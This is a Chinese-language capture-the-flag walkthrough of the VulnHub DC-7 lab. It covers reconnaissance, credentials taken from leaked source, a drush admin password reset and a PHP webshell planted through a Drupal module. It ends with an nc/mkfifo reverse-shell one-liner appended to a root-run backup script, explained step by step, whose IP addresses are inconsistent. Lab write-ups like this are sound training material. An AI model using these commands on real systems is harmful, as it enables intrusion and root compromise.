DC-7
准备工作
在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub
靶机导入VMware 网络适配器改为NAT模式
靶机IP为 192.168.1.16
信息收集
nmap -A -T4 -sV -p - 192.168.1.16 对目标进行扫描
开放了22、80端口。访问80端口发现是Drupal的CMS
进行目录扫描
dirsearch -u http://192.168.1.16
没有发现什么有用的线索
观察页面发现作者信息
然后就在GitHub上找到了源码
Drush
可以看到我们获取到了数据库的用户名和密码,尝试远程连接数据库
mysql -h 192.168.1.16 -u dc7user -p MdR3xOgB7#dW
失败了
尝试使用ssh
成功 并且可以看到有一封邮件,我们进去mail文件查看
看内容是通过这个脚本/opt/scripts/backups.sh将数据库自动备份到/home/dc7user/backups/website.sql,这个脚本还是root权限
在这个脚本中发现了 Drush命令
Drush是Drupal的命令行shell和Unix脚本接口。Drush Core附带了许多有用的命令,可用于与模块/主题/配置文件等代码进行交互。gpg是加密的命令
查了一下drush命令可以修改密码,但是使用drush命令的时候要先切换到网站源码所在的目录,不然会报错
进入网站目录/var/www/html。用drush命令将admin的密码改成admin
drush user-password admin --password=``"admin"``
成功登录到后台 寻找可以利用的点
记得前面的靶机中,drupal有个模块可以执行php代码来着。
寻找cms中模块安装功能在哪,百度寻找该cms存在漏洞的功能模块等,尝试安装存在漏洞的功能模块/主题/插件,最后通过其漏洞实现侵入。
进入后台发现这里可以编辑页面,那就可以写一句话木马,但是查到drupal8不支持php代码,查找资料发现需要导入一个模块
模块地址https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz 输入直接安装
选第二个选项,拉到下面将PHPFiter勾选,再拉到底部安装
然后回到刚刚编辑首页,可以看到有php的选项了,插入一句话代码
使用蚁剑连接并反弹shell
使用python反弹shell
python -c 'import pty;pty.spawn("/bin/bash")'
权限提升
然后翻阅别人的文章,抄过来一条命令
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.16 4444 >/tmp/f" >> backups.sh
rm /tmp/f;
mkfifo /tmp/f;
cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f
rm /tmp/f 删除该文件(以免跟后面定义的 管道符 冲突)
mkfifo /tmp/f 这是创建自定义有名管道符。管道符的名称是 /tmp/f (用于进程间的通讯, 如 ls > /tmp/f ,cat /tmp/f ,连通两个进程之间的通讯)
cat /tmp/f 取出管道符中的内容, |/bin/sh -i 2>&1 将前面取出的内容作为 输入 ,输入给 /bin/sh ,再将bash 的标准错误输出 也作为标准输入 (2 >&1)给bash ,然后再将bash的输出,传给nc 远程,再将nc 传来的数据,写入 管道符 /tmp/f 。最后首尾接通了。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.16 1234 >/tmp/f" >> backups.sh
然后监听1234端口即可
成功获得flag